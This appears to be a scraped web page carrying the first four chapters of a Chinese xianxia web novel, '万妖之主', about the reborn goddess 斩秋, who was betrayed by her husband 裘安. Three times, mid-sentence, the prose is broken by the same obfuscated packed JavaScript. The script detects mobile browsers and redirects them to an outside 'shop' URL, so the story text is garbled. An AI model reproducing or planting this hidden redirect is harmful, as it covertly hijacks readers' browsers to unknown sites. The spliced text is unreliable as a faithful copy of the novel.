《万妖之主》 1. 第1章 极寒之地,落雪成冰。 漫天诸神聚集于此,望着神坛中央的那位白衣女子,神色各异。 谁也不会想到,裘安继位天帝后做的第一件事,竟是亲手将自己的新婚妻子送上了陨神坛。 二人成婚不过一年,那场盛大浩瀚的婚礼尚且历历在目。当时的景象是多么得风光,如今的场景就有多么得悲凉。 一阵瑟骨的冷风吹过,将女子本就单薄的身影衬得更加摇摇欲坠。 她身处漩涡之中半跪于地,长发垂落,面容清艳绝伦。虽是脸色煞白却也难掩眉宇间那股高傲不屈,让周围一众神仙敢视不敢言,却都不禁在心中猜想,天后究竟犯下了多大的罪过,才会落得如此下场。 裘安位于神坛最高处,居高临下地望着她,薄唇轻启:“斩秋,你可认罪?” “认罪?我何罪之有?”女子抬起眉眼,嘴角溢出一丝笑,那笑声里掺尽鄙薄,满是嘲弄。待笑意散尽,才佯装成幡然醒悟的模样,徐徐道,“我唯一的罪过,便是挡了你杀戮的路罢。” 如今的天地间共分六界,天帝位于九天之上,掌管神、仙两界,统称天界,而人、妖、魔、冥四界各司其主。 斩秋贵为天界神女,自小养于九天,可骨子里却流着妖族的血,而这一事原本只有真神玄焰和先任天帝祁华知晓。 祁华当初将她与裘安定下婚约,一来是为了约束她与生俱来的妖力,防止她日后生出逆心;二来是因裘安乃其膝下次子,将来不会接管帝位,那她便也成不了这天界帝后。如此,哪怕她有朝一日真的背离正道,亦无法动摇天界根基。 可惜祁华算准了其一,却没算准其二。 神族太子裘旭在祁华陨没后不久,便率兵与魔族交战,死在了无岐山一役中。现在想来,魔族那时的宣战来得好没由头,想是有心人的挑拨,目的便是裘旭的命。 思及此,斩秋的笑里多了几许凄凉。原先她怎么就没看出来,自己爱慕之人竟然是这样一个狼子野心之徒。为了帝位,可以狠心算计兄长的性命,此刻又要为了更大的权力而构陷于她。 只因她是上古妖神之后,其体内妖神之力可以治愈众妖生灵。所以只要有她在,妖族就无法彻底根除。哪怕妖族近千年来并无作祟,裘安还是要对其赶尽杀绝。 “你隐瞒自己的妖族身份,混迹于我神界数千年之久,究竟意欲何为?”裘安的声音仿佛利剑一道道地划落在斩秋的心口,冰冷地要将她的血液凝固。 此话一出,降神坛下炸开了锅。众仙恍然大悟,原来这才是今日审判真正的理由。 “天后竟然是妖!” “这怎么可能,天后自幼便由真神抚养,妖族的身份怎么可能逃过真神的法眼?” “隐藏得可真深啊,从前一点儿也没瞧出来呢。” ...... “我意欲何为?“斩秋嗤笑一声,满眼失望,“是你的欲!和魔族的战争才刚刚平息,如今你又要将手伸向妖族!” “妖族当年犯下弥天大罪,不仅血洗我天界五千神兵,还杀死了裘霜,罪孽深重,本就当诛!曾经父神心软,没有与妖族讨这一笔账,如今由我来讨回,有何不妥?”裘安说得冠冕堂皇,神色毫无心虚可言。 当年裘霜公主一事,在场无人清楚其中原委。不过裘安是天帝,众仙自是听他如何说,便如何信。不免觉得斩秋话中有几分要为妖族开脱的意思,先前对她的尊敬与怜惜骤然磨灭,站在了自以为是正道的那一边。 斩秋不再开口,只是静静地看着裘安。 她的眼神冰冷又平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633924|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静,宛若一根银针沉入湖底,不起一丝波澜,却深深地刺痛了他。只见他好看的眉毛微微一折,眼底仿佛流露出了一抹不该有的心疼。 就在这抹多余的情感即将进一步蔓延时,一道尖锐的女声蓦地从他身后响起:“陛下,莫要和她浪费口舌了。” 斩秋稍许挪了挪视线,便将来者模样尽收眼底。 只见她穿着一袭水绿色的霓裳,长发高高挽起,一双上挑的眼眸里透着无边的傲慢。 当初还是斩秋将她领入这九重天,原以为她只是个无家可归、想要寻求庇护的小仙,不想此举却是养虎为患。 看走眼一次是不幸,两次就是愚昧了罢。斩秋心下自嘲道。 涂千羽的话像是一块磁石,一下子又将裘安动摇的心吸附到了原位,眼底恢复一片清明,道:“斩秋罔顾神训,欺瞒神主,今于此陨神坛……” 话说到一半,却见他撇过头去,眼睑缓缓垂下:“自生自灭。” 说是自生自灭,可自上古以来,就没有神仙在陨神坛受完刑罚后还能活着走下来的。 哪来的生? 为了毫无后顾之忧地攻打妖界,不惜搬出她的身世做局,也不知该斥他卑鄙,还是夸他手段高明。 话音甫落,天空降下几道闪电,蜿蜒曲折,似一头巨龙腾飞而下,四周伴随着寒光急流,如同数条长鞭狠狠挥去。 斩秋在裘安转身之际,阖目对他说了最后一句话。 她的声音轻飘飘的,听不出任何情绪,仿佛一片白羽悄然划过了他的耳畔,缓缓落在地上,转瞬又化作一把枷锁牢牢固住了他的脚跟,寸步难移。 裘安愣在了原地,心骤然紧缩。 她说。 “曾经我还幻想过要与你荣辱与共,真是可笑啊。” 2. 第2章 缥缈境内城无风无雨,亦无任何生气。偌大的天地愣是静得没有一丝声音,就连时间都仿佛随之冻结。 斩秋望着身前毫无波澜的池水,清秀的容颜闪过几缕旁人读不懂的情绪,低不可闻地喃了声:“第三日了。” 眼下已是从陨神坛那场噩梦中醒来的第三日了。 许是在缥缈境的日子过得太过清闲平静,以至于她都有些分不清,前世种种究竟是大梦一场,还是她真的回到了五十年前。 “殿下,是天宫送来的帖子。”身后突然响起的话音打断了她的思绪。 斩秋回过身来,垂眸瞥向灵杉递上前的请帖,目光辗转在那鎏金纸页上,没有作声。 灵杉或不知晓这张请帖背后藏着什么诡谲,斩秋却清楚得记得,便是这张请帖,将她与裘安的命运紧紧地绑在了一起—— 天帝以裘安飞升上神一事设宴,借着双喜临门为由,给斩秋与裘安赐婚。 这婚自然是不能成的,只不过退婚之人也不能是她。 斩秋自幼便由玄焰真神抚养,心底一直将其视作父亲,对其最是尊重敬爱,而这婚事便是他生前亲允的。 当年天帝曾与玄焰真神商议,待接裘安回天宫后,便定下他与斩秋的婚事。 孰料在这之前,玄焰真神便以身应劫殒世了,随后斩秋自请离开天宫,前往缥缈境为其守灵,一守便是一千余载。 而这婚事自然也就拖到了现在。 如今千年已过,她没有理由再久居缥缈境不出,更何况这门婚事是真神亲允的,她断然没有拒绝的道理,否则定会让旁人起疑。 思及此,斩秋眉头轻拧,眼底也露出几抹厉色。 灵杉见状问道:“殿下,这帖子可是有何不妥?” 斩秋抬眸对上前者的视线,抿了抿唇,她的确想将一切都告诉灵杉。 一来,灵杉是她如今在这世上唯一相信之人,她亦不想再有任何事情隐瞒灵杉。二来,灵杉上一世也是因为自己而死,她有权知道真相,至于她到底相不相信…… “灵杉,我有一事要告知于你。” 待斩秋将一切全盘托出后,灵杉并未作出她预料中的反应。 既没有满目不可置信,亦没有全然笃定不疑。 她的表情竟无任何的变化,仿佛什么也没听见那般。 斩秋见状不由得垂眸,轻叹一息:“罢了,你若不信,就当我没……” 话还未尽,便由后者拦腰斩断:“我相信殿下。” “当真?” 后者颔首,又将手中的帖子递前了些:“殿下,接下来该如何做?这宴会,还去吗?” 斩秋接过请帖,指腹摩挲着纸页上凸起的纹理,陷入了沉思。上一世赐婚之后,婚期却迟迟未定,想来是因为这门婚事并不在裘安眼下的计划之内,这也为她争取了时间。 退婚一事,可从长计议。 她将思绪从往事抽离,手指缓缓收紧:“逃避并非良策,既然躲不过,那便去凑了这个热闹。” 九天之上,云雾缭绕。万道金光照耀在南天门前,石柱旁站着两位守护天门的天将,俱是身姿笔挺、面色威严,一一查验着今日到访仙家的身份,不容有失。 就在斩秋欲将请帖交与天将查验之际,身后忽然传来一阵言语。 “我听说今日不仅是二殿下的飞升之宴,还是二殿下与斩秋上神的喜宴呢。” “常欢,你这又是从哪听说的?那位自请去缥缈境这么多年,就没再出现过,二殿下又是在这之后才被接回天宫的,二人连面都未曾见过,何来喜宴一说?” “这可是我父王告诉我的!前几日父王进宫与陛下一同饮酒时陛下亲口说的,要在二殿下的飞升宴上,为其与斩秋上神赐婚。”被唤常欢的女子拍拍胸脯说道,仿佛亲眼见证一般。 话音才落,突然又添了道得意的声音,从旁洋洋响起。 “什么上神,不过是仗着玄焰真神的关系,空占一个名号罢了,又不是凭自己的本事。想当年青云峰比试,她还是我的手下败将呢。” 常欢、无淼应声望去,朝说话之人挥了挥手:“清缘君,你也来了。” 话声愈来愈近,斩秋却没在意,仿佛他们口中那位“空有名号的上神”不是自己似的。 她温和地冲眼前的天将笑笑,主动递上请帖与其查验。 看守南天门的天将阅历尚轻,并未见过斩秋,却是常听将军提起,若是有朝一日斩秋上神出现在南天门,定要拿出十足的敬意尊崇。 于是在他看清楚请帖上“斩秋”二字时,旋即将手中的长戟往回收了几寸,半膝跪地,以足够响亮的声音称道:“恭迎斩秋上神回宫。” 此话一出,常欢等人的动作全然被这清晰的男声击碎,拿请帖的手双双停驻在了半空。 半晌,终是清缘最先反应过来,想到斩秋可能听见了他方才说的话,心下闪过一瞬心虚。但话既已出口,又是在常欢面前,他可不想落了下乘。 于是追上前面那道白色的身影,伸手拦道:“斩秋,还真是你,躲在缥缈境这么些年,终于敢出来露面了?” 几乎是在清缘伸手的瞬间,灵杉已然持剑挡在斩秋身前,神色阴冷。 清缘挑眉将灵杉上下打量一番,露出一抹讥笑:“原来是找了一个帮手啊。” 灵杉乃斩秋一千年前在下界所救,自此一直带在身边,本不是仙族中人。故而清缘并不认得灵杉,亦不知晓他此刻挑衅的举动有多么危险。 斩秋无意与其口舌,只是照对方那嚣张讨打的架势,说不准下一瞬这白净的廊道上就要见血了。 思绪片刻,斩秋按下灵杉的手,冲着面前男子莞尔一笑:“清缘君,好久不见。” 顾自接了他的上话,继续道:“当年青云峰的比试,我的确输给了你。如果你想听的是这句话,我如今已经说过了,若无旁的事,便请让开吧。” 清缘有些惊讶斩秋如今竟是如此好脾气,本想见好就收,但余光瞥见随后而至的常欢,不由又挺起胸来,扬起了声量。 “你承认自己是我的手下败将就好!只要你保证以后不来招惹我,我便也给二殿下一个面子,不找你的麻烦。” “二殿下?”斩秋本欲作罢,听闻这几个字又扬起了笑意,只是那双含笑的眼睛却透着戏骨的寒意,“为何要看二殿下的面子?” “哼!少装了,旁人不知晓,你还不清楚吗?你与二殿下之间的婚约,迟早会被陛下提起。” 清缘的父亲南清王与北常将军一样,都是天帝的心腹,故而知晓斩秋与裘安之间的婚事并不稀奇。 “那又如何?”斩秋眨了眨眼,一副不解的模样,“我是我,他是他。就算有朝一日我与他真的成婚了,我也不是他的所属物。你无需看任何人的脸色,若你真有那个本事找我的麻烦,尽管来便是。” 清缘被她言语中的轻蔑所激,顿时变了脸,怒道:“你…!斩秋!你什么意思,你以为我打不过你吗?” 与他的面红耳赤相比,斩秋的神色显得无比从容。她不紧不慢地朝他走近两步,凑到其耳边以仅有他们二人能听见的声音说道:“当年你究竟如何赢得我,要我大声说出来吗?” 话音落下,后者身躯一震,眼底尽显慌张之色。当年之事他做得天衣无缝,斩秋怎么可能会知晓! “我……我听不懂你在说什么,当年……当年我分明是光明正大赢得你!” “是吗?”斩秋退回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633925|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了脚步,欣赏着眼前男子故作镇定的表情,“我怎么记得清穆当时跟我说,是清缘君你胁迫他,让他设计一出玄焰真神出关受了伤的幻象给我。这才让我放弃了比试急忙赶回去?” 说罢又看了一眼他身后的常欢:“我知你今日拦我是想在心仪的女子面前出风头,本不欲拆穿你当年的把戏。这才把台阶递给你,可你为何不下啊?” “你…!你胡说八道!”只见清缘面色铁青,眼睛瞪得都快要掉出来似的,张牙舞爪,哪还有半点儿仙风道骨可言。如今被当众揭了短,他无话反驳,只得丢下一句苍白无力的挑衅后愤然离去:“你给我等着!” 站在不远处的常欢与无淼二人见状,不敢再随意议论眼前这位斩秋上神,恭敬地朝其行了一礼后,便匆匆绕路而行。 斩秋随后亦收回了视线,继续朝着万虚殿的方向前去。 万虚殿内,金光流转。众仙受邀聚集于此,许是沾染了喜庆气氛,皆是一副笑容模样。 方一踏入殿内,斩秋便在一众身影中看到了裘安。 他穿着一袭紫袍,玉冠半束起长发,眉毛精致宛若细羽,长睫之下是一双墨色的眼眸,神情间总是带着温润的笑意。如同三月的春风,叫人心神向往。但见他与一众长老站在一处,言谈举止谦逊有礼,乖巧得不像话。 裘安似有所感,亦将目光转了过来,落在了斩秋身上。 两道视线相接,一道寒厉克制,一道陌生温和。 不知怎的,她恍然又听见了裘安的声音: “初次见面,你我同为上神,就互唤名字吧。你也别唤我什么二殿下了,可好?” “斩秋,今日之后,你便是我的妻了。” “对不起,为了大局我只能如此,你能理解我吗?” “斩秋罔顾神训,欺瞒神主,今于此陨神坛……自生自灭。” 自生自灭,倒是未曾想过她还能生,这算是承他吉言了么?斩秋回过神来,冷笑一声,顷刻调开目光。 不多时,整座大殿突然都静了下来。斩秋顺着众人的视线往殿门望去,只见天帝祁华正踏入大殿。 “见过陛下。”众人齐道。 “免礼。”天帝一拂衣袖,缓缓登上正上方的位子,面色柔和,“今日乃安儿的上神宴,故特邀诸位仙卿前来。其实,除了贺安儿飞升以外,朕还有一件喜事欲与诸位分享。” 目光在座下扫视一番,最终停留在斩秋身上,眼底流露出一抹欣慰的笑意:“秋儿,安儿,你们二人走上前来。” 话罢,众人俱是一愣。名讳中含“秋”一字,并且能让天帝唤得如此亲昵之人,天上地下都唯有上神斩秋一人。 可是那人早在一千年前真神玄焰应劫身殒之后便不见踪迹,听说是去了缥缈境为真神守灵。不过真神身殒,本就魂飞魄散,说是守灵,也不过是图心中慰藉罢了。 众人望着徐徐走到中央的女子,各个瞪大了眼睛瞧着,都想看看这位消失了一千年之久的上神,如今是何模样。 只见她穿着一身白色羽衣,一头乌发仅由一根丝带高高束起,不着任何饰品。浓密的长睫之下是一双微微上扬的桃花眼,未施粉黛却万种风情。倾世芳华四字,似乎都不足以形容眼前女子的半点风姿。 “秋儿,千年过去,你也是时候回到天宫了。”天帝望着斩秋,声音温淳。 “当年父尊在世时最在意的便是你,也曾与朕谈论过你的婚事。如今,安儿也长大了,亦有所成。”目光又转向裘安,满意地颔首,“你们二人站在一起可谓是郎才女貌、天作之合,甚是般配,般配!” 他话语一顿,在裘安错愕的神情中说道。 “今日,朕便做主,定下你们二人的婚事,如何?” 3. 第3章 话音甫落,整座大殿登时鸦雀无声。 许是过于震惊,众人一时都忘了言语,只是呆呆地望着殿中央的二人。待他们回过神来,心底又冒出诸多疑惑。 虽说玄焰真神一直将斩秋视为己出,婚配便也当得这世间最好的,可是这婚配的对象怎么能是天帝之子呢? 况且就算非要在两位殿下中选一位,又怎会是二殿下,而非大殿下?大殿下都尚未婚配,更遑论…… 心中疑问接二连三跌撞而至,虽是不解,却也不敢妄加评判,只能眼巴巴地瞧着这事件中的两位主角如何应答。 斩秋没有立场反驳,却也不想先行应承。于是侧了侧目,观察起裘安的反应来。 上一世听到这个消息时她太过讶异,都没来得及好好瞧一瞧身旁人是何表情。 与她料想的一样,裘安的眼底也闪过了一瞬愕然,不过很快便恢复成以往平静的模样。 “一切但凭父皇做主。”裘安垂首行礼,面上挂着一枚浅笑,温言回道。 天帝称心地点点头,继而又将目光投向斩秋,丝毫不掩目中期许:“秋儿,你如何想?” 斩秋收回视线,扯出一道淡淡的笑意,抬手作礼:“斩秋谢陛下恩典。” “好!好!今日果真是双喜临门!”天帝闻言抚掌大笑,心中一直绷着的那根弦终于放松了下来,随后端起酒杯朝众人举起,“诸位仙友尽兴!” 一场足以轰动八荒的新闻就在几人三言两语中定下结论。 殿上众人虽对此事感到荒唐,却也没再往下琢磨,毕竟这帝王家事可不是他们敢擅自议论的。念及此,各自举杯畅饮,仿若无事发生。今日只是二殿下的上神宴,仅此而已…… 事已落幕,斩秋无意久留,转身便往殿门走去。然而没出几步,身后那道声音便已如期而至地响起。 “斩秋。” 裘安唤得很轻,有几分试探的意味,似乎也拿不准如此称呼她是否愿意。 斩秋回过身去,微微颔首,亦是轻飘飘地回了句:“二殿下。” 只见他走过来,缓缓道:“虽是初次见面,但你我二人便已结下了这样的缘分。既如此,你我又同为上神,就互唤名字吧,你也别唤我什么二殿下了,可好?” 他的嘴角微微上扬,目光柔和,怎么瞧都是一副温润谦和模样,可斩秋却仿佛能直接窥探到他这副皮囊之下的阴冷,继而挑了挑眉,笑而不语。 上一世她是怎么回答他的? “陛下乃玄焰真神唯一的儿子,而我虽非真神所出,却由其抚养长大。尽管陛下比我年长了三万岁,可我曾经也是唤过他一声兄长的。这样说,你可明白?” “你乃陛下之子,按辈分来算,你是要唤我一声姑姑的。” “既然你我成婚是真神生前所愿,我不会推辞。不过,我对你这种小孩儿,着实没有兴趣。” 当时她都这样说了,他也不恼,更没有提过退婚一事。 如今想来也是,赐婚之时他们二人素不相识,裘安又是如此多疑之人,若是她什么反应都没有,反倒一味应承,他才会觉得其中有问题罢。 思及此,斩秋转了转眼眸,笑意更深了些:“好啊。” 金色的霞光穿进殿内,将斩秋的身影映得明艳。弯弯的眼角以及微微勾起的红唇,化作成一副柔和无害的模样,让人心生悸动。 只不过落在裘安眼中,却是令他心生忌惮。 斩秋忽然又想起了什么,往前走了一步:“对了,今日裘旭没来参加你的上神宴,应该只是公务缠身,你莫要记恨他。” 她的语气闲适,仿佛是在交代一个晚辈待人之道。 后者闻言眼睫微颤,双眸覆上几缕寒意,不过仅一瞬便消失殆尽。他的声音依旧柔和,却似乎减了几分温度:“我怎么会记恨阿兄呢?只不过你今日才出缥缈境,如何得知阿兄公务缠身?” “毕竟我们是旧相识了,我很了解他。” 裘旭对他这个弟弟向来是上心的,哪怕她没有经历过上一世也能猜到。今日是裘安的大日子,他绝不会故意不来,说不定此刻他便已在赶来的路上了。 只可惜这一切似乎向来只有她一人知晓。 “原是如此。”裘安点点头微笑着,没再搭话。 出了万虚殿,灵杉才现身,安安静静地走在斩秋身后,仿佛一道影子,无论走多远,始终保持着不变的距离。 “你方才去哪了?”斩秋不疾不徐地走在殿外的廊道上,轻描淡写地问起,语气中并无问责的意味。 “天帝说要将您与裘安定婚时,我看到清缘在朝殿下施咒术,便将他带出去处理了。” 灵杉肃然的口吻,加上如此令人遐想的“处理”二字,惹得斩秋脚下一顿,扭头看她:“你不会……” “殿下放心,我并未伤他,只是将他打晕了。” 听到这个回答,斩秋松了口气,继续朝前而去。一边走,一边又问。 “他如今在哪?” 跟着灵杉一路来到涟园,望着一旁亭下昏睡的男子,斩秋暗了暗眼眸。 清缘与她素来不对付,这一点天帝是知晓的,故而上一世并未给南清发去过请帖,清缘也未曾在上神宴出现过。 今日在南天门前遇到他时便觉得奇怪,只是思绪一时沉浸于宴会之事,未来得及仔细考虑。 “殿下,有何不妥吗?” 斩秋不语,却是上前将清缘身上的请帖搜了出来,仔细翻看:“这请帖的确是真的,只是这上面的字……”她说着折起了眉,伸手将请帖递到灵杉面前。 后者领意,指尖轻轻转动,朝纸页上施法。只见上面的字迹一个一个跃起,连成一道符咒,继而化作一缕黑色的薄烟,消散殆尽。末了,这鎏金纸页上已无半点痕迹。 “是幻术。” “嗯,清缘果然不在这宾客名单上。”斩秋点点头,眼底神色复杂。 清缘虽嚣张跋扈,也曾设计过她,却也没那个胆子敢伪造天宫请帖,定是被人利用了。只是她想不通,这背后之人究竟是谁,让清缘来天宫参加上神宴的原因又是什么? 虽是使用了幻术,可这请帖本身却是货真价实的出自明渊阁。如此说来,这背后之人,莫非就藏匿在天宫…… 罢了,眼下自身还有一堆事未了,实在没工夫替天帝清理门户,只要这人不是冲着她来的,就暂且先放一边罢。 “殿下,有人来了。”灵杉的声音拉回了她的思绪。 斩秋连忙将请帖塞回清缘的衣袖,随即带着灵杉往亭外步去。待与清缘拉开了一段距离后,方才放缓脚步。 一抬头便看见不远处立着一道墨色的身影,步子又停了下来。 “裘旭。”斩秋唤道。 “我有事要和你说。”裘旭朝她走来,面色沉稳,声音却有些急切。 她知道对方找她要说的是什么,不慌不忙地朝一旁的灵杉吩咐道:“灵杉,你先回秋茗宫等我吧。” 待灵杉离开后,斩秋方才幽幽开口。 “你见完裘安了?”她朝身旁的莲池走去,一面望着池里的游鱼,一面漫不经心地问。 后者闻言没有回答,却是随着她走上前,也发出了一问:“你为何要应下这门婚事?” 会这么问,想来是见完了。斩秋了然,一副事不关己的模样回复着:“此事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633926|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又不是我一人应下的。” 言下之意,他该盘问的人也并非只有她一人。 “安儿向来不会忤逆父神。可我看得出来,他并不开心。” “他不敢忤逆陛下,那你凭何认为我敢?” “你们不一样。安儿他因为桦妃,做任何事都得小心谨慎,不敢惹父神不快。可你不同,你有玄……”说到此处,话声戛然而止。裘旭似乎也觉得如此说来甚是不妥,眉毛轻皱,面露难色。 斩秋却是抬起眼,接过他的话:“你想说我还有玄焰真神护着是吗?这没什么不可说的。反正所有人都认为,我是靠着与玄焰真神的关系为所欲为的狂妄之徒,你也不例外。” 话到此处,她的神色逐渐变得冰冷,“可如今真神他已经不在了。况且,此事本就是他生前应允的。” “我不是这个意思。只是安儿心思单纯,你并非他的良配。”裘旭解释道。 “你觉得我配不上他。”斩秋此言并非疑问,而是陈述。得此结论,不禁笑出了声,冷笑间又带了些许同情的神色看他,语气掺尽了鄙薄。 “裘安到底是真的单纯还是伪装得太好,想必这个答案只有他自己清楚吧。你虽是他的兄长,可你真的了解他吗?凡人尚且有所贪恋,更何况神仙呢。你这弟弟,可没你想象中的良善。我奉劝你……” 话音还未尽数落下,便见一抹剑光朝她劈去,虽未带杀气,却充满了警告的意味,沾染了怒意的声音随之一道响起。 “你不能如此说安儿!” 哪怕斩秋反应及时,衣袖仍被划开了一道,她垂眸看向不堪的衣角,表情辨不出喜怒:“你这家伙,还真是一如既往的不好相与啊。” 她知道裘旭最是护短,却没料到他会对自己出手。难道他就没想过,万一她没来得及躲闪被他伤到,他该如何与天帝交待? 也罢,这么多年他都未将裘安看清,又岂是她三言两语便能改变的。来日方长。 - 夜,诡境魔都。 烛月殿走进一名黑衣男子,厚重的斗篷将他的脸压得很低,只能看见一张毫无血色的嘴唇一张一合,朝着殿前倚坐在座上的男子禀道。 “尊上,事成了。” 玄青色的烛火犹如蜿蜒的藤蔓缠绕在铜柱,一圈一圈向上追赶,又于之顶檐向下垂挂,让昏暗的宫殿亮起了些许煽动的光。 那光落在了被唤作“尊上”的男子脸上,散出几缕惑人的姿态,仿佛能叫人迷失心智。 只因他生了一幅极好的容貌,一双斜长的眸子里像是装满了星辰,高挺的鼻梁与花瓣似的红唇将其衬得更为完美,棱角分明,面如冠玉,就连发丝都隐隐泛着烁光,犹如神明降世。 任谁也无法将眼前这个漂亮的少年与杀伐果断的魔尊联想到一块儿去。 听到事成的消息,座上男子也未作多大反应,漫不经心地颔首,只道一个“好”字。 倒是一旁的赤龙颇显兴奋,拱手喝道:“尊上威武!平日里裘旭那小子嚣张惯了,如今幽境失守,我倒要看看他如何讨饶!” 他说完眼里流露出无比期待之意:“尊上,接下来我们该怎么做?” 接下来?百里及春轻挑眉目,不知想到了什么,眼底抹开一枚浅笑,意味深长地说道。 “等着便好。” “是!”赤龙越想越高兴,起劲地说道,“等裘旭自己送上门来,到时我再……” 他话还没说完,便被戴着斗篷的黑衣男子打断:“谁说尊上等的人是他?” “不是裘旭?”赤龙有些讶异,不禁皱起眉挠了挠头,一副不解的模样,问。 “那会是谁?” 4. 第4章 这一夜斩秋睡得并不安稳,每每睡去便从上一世的噩梦中惊醒,衣襟被冷汗打湿了一遍又一遍。 翌日清晨,她才堪堪躺下,殿外又传来了声响。推门瞧见裘安那张近在咫尺的脸,一时分不清梦魇与现实,不由惊地退后了两步,身形微抖。 半晌方才回过神来,眉毛微不可察地皱了一下:“怎么是你?” 捕捉到她眼中一闪而过的厌烦,裘安有些意外,弯了弯眉眼,简言意骇地回答:“天帝传召。” 天帝这么早寻她作什么?斩秋心中狐疑:“可有说是何事?” 裘安闻言默了几许,盯着地面出神,似乎在想什么。就在她即将失去耐心时,方才笑着摇了摇头。 “知道了,我换身衣服便去。” 今日的万虚殿没了满座宾朋,显得有些冷清。偌大的宫殿中,仅有几名天兵立于两侧,天帝站在正上方,面色凝重。 看见天帝这般神情,斩秋心底蓦然升起了一股不妙的预感。垂首作礼,道:“见过陛下。” “秋儿,无需多礼。”天帝摆了摆手,示意她上前说话。 “陛下,可是出了什么事?”斩秋走上前去,眼底露出几分忧色。 只听前者长叹一息,语气尽显疲惫:“昨日幽境三千天兵,一夜之间全没了踪影。” “没了踪影?这是何意?” 若是有人来犯,将士身死,尸骨也理应留在幽境。哪怕神魂俱灭,也会留下痕迹。可毫无踪影,无论如何也说不过去。 “朕知道你在想什么。昨夜并无人来犯幽境,那里未留下打斗的痕迹,只不过在营帐中找到了一样东西。”天帝一面说着,一面张开手掌,掌心逐渐化出一支折断的箭羽。 那羽呈盾形,较一般的箭羽来说更短些,上面还有一道似鳞的图案。 “这是……”斩秋认出了此物,瞳中闪过一抹诧异,“魔族将领赤龙营中的箭。” 一千年前,她误闯诡境军营时,赤龙朝她射来的箭,箭羽便是这般模样。 魔族营中的箭为何会出现在幽境,难道三千天兵失踪与魔族有关?可是他们既有本事将三千天兵带走不留一丝痕迹,又怎会如此粗心地留下一支箭羽? 反倒像是……故意而为之。 思及此,斩秋的眉心攒成一个结,她想不通这究竟是怎么回事。魔族分明显少来犯,上一世更没有发生过此等事情,到底是什么改变了? “这便是朕今日唤你前来的原因。”天帝轻轻颔首,将箭羽交到她手上,语重心长地说道,“幽境本由旭儿掌管,出了事也该由他去查办。可这件事牵扯到魔族,还是交给秋儿你来办最为稳妥。” “你曾随父尊云游北荒,通晓启原术,能破解诡境结界。朕需要你亲自去魔界一趟,将此事调查清楚。” 闻言斩秋点了点头,正要开口,又听天帝说道:“只是此事尚未得出结论,不可带兵前往。为了确保你的安全,朕已决定让安儿与你一同前去,并派一千天兵守在诡境外。” 话落,斩秋脸色一黑,怔了片刻方才回话:“陛下,既然幽境由裘旭掌管,为何不让他与我前去?” “幽境失守乃他失职,朕已罚他去无忘崖思过了。”天帝负手背过身去,语气颇有几分失望的意味。 事已至此,斩秋没再反驳。 “你先去准备吧。”天帝冲她摆了摆手,又对一旁的仙卫吩咐道,“让安儿进来。” 退出大殿之际,正逢裘安从殿外踏来。 想到要与裘安一同前往魔界,斩秋不禁抬眸瞥了他一眼,目光里揉尽复杂之色。 只一眼,她便收回视线。心中暗自叹息,既然天帝有意让他们二人多相处,左右是躲不掉了。 回到秋茗宫时,灵杉正练完剑。看着斩秋从万虚殿的方向回来,她心生诧异,却是什么也没问,定住脚步候着。 斩秋也不拐弯抹角,踏进宫门后直接道明:“方才天帝交给我一桩苦差,咱们得去魔界一趟。” “是。” “此行无论遇到什么危险,没有我的命令,你都无需出手,只管保护好自己便是。” 天帝既赠她一块“肉盾”,哪有白白浪费的道理,当是物尽其用才好。 回到九重天不过短短一日,自然没什么可收拾带走的东西,毕竟去谈判靠的也不是这些。 没过多久,斩秋便已来到南天门。 来时面前早已立着一前一后两道身影,正是裘安与他的神兽邬霖。 斩秋露出近乎亲切的微笑朝裘安走去,客气地拱了拱手:“想来二殿下也有所耳闻,我神力薄弱,此行若有危险,便全要仰仗二殿下保护了。” 她虽面上笑着,却总有一股森然之意,仿佛期盼着有什么凶险发生一般。 裘安看进她那一双虚实不明的眼眸,也缓缓展起嘴角,道了声:“自然。” 前往魔界诡境的路途遥远,斩秋不想在裘安面前展露自己的神力,于是提出乘飞輦前去。 邬霖与灵杉坐在外面,将本就足够宽敞的轿輦留给斩秋与裘安二人,便显得更为空旷。 二人对面而坐,中间隔着的距离再塞下六七个人也绰绰有余。四目相对,却静而不语,各自心里不知在盘算些什么。 少顷,斩秋率先移开视线,目光落在一旁的矮桌上,百无聊赖地拾起一块桃糕看了看,随之往嘴边送去,熟料这时对面冷不防响起一句—— “昨日阿兄来见我,说他愿与父神请旨,代我达成与你的婚约。” 此话一出,斩秋手中动作顿了一瞬,但很快又恢复正常的模样。她轻咬一口桃糕,细细品尝起来,并不着急回应裘安的试探。 不过有一点倒是令她意外,裘旭竟愿为了裘安做到这个地步。也不知该赞其赤诚,还是该说他愚昧。 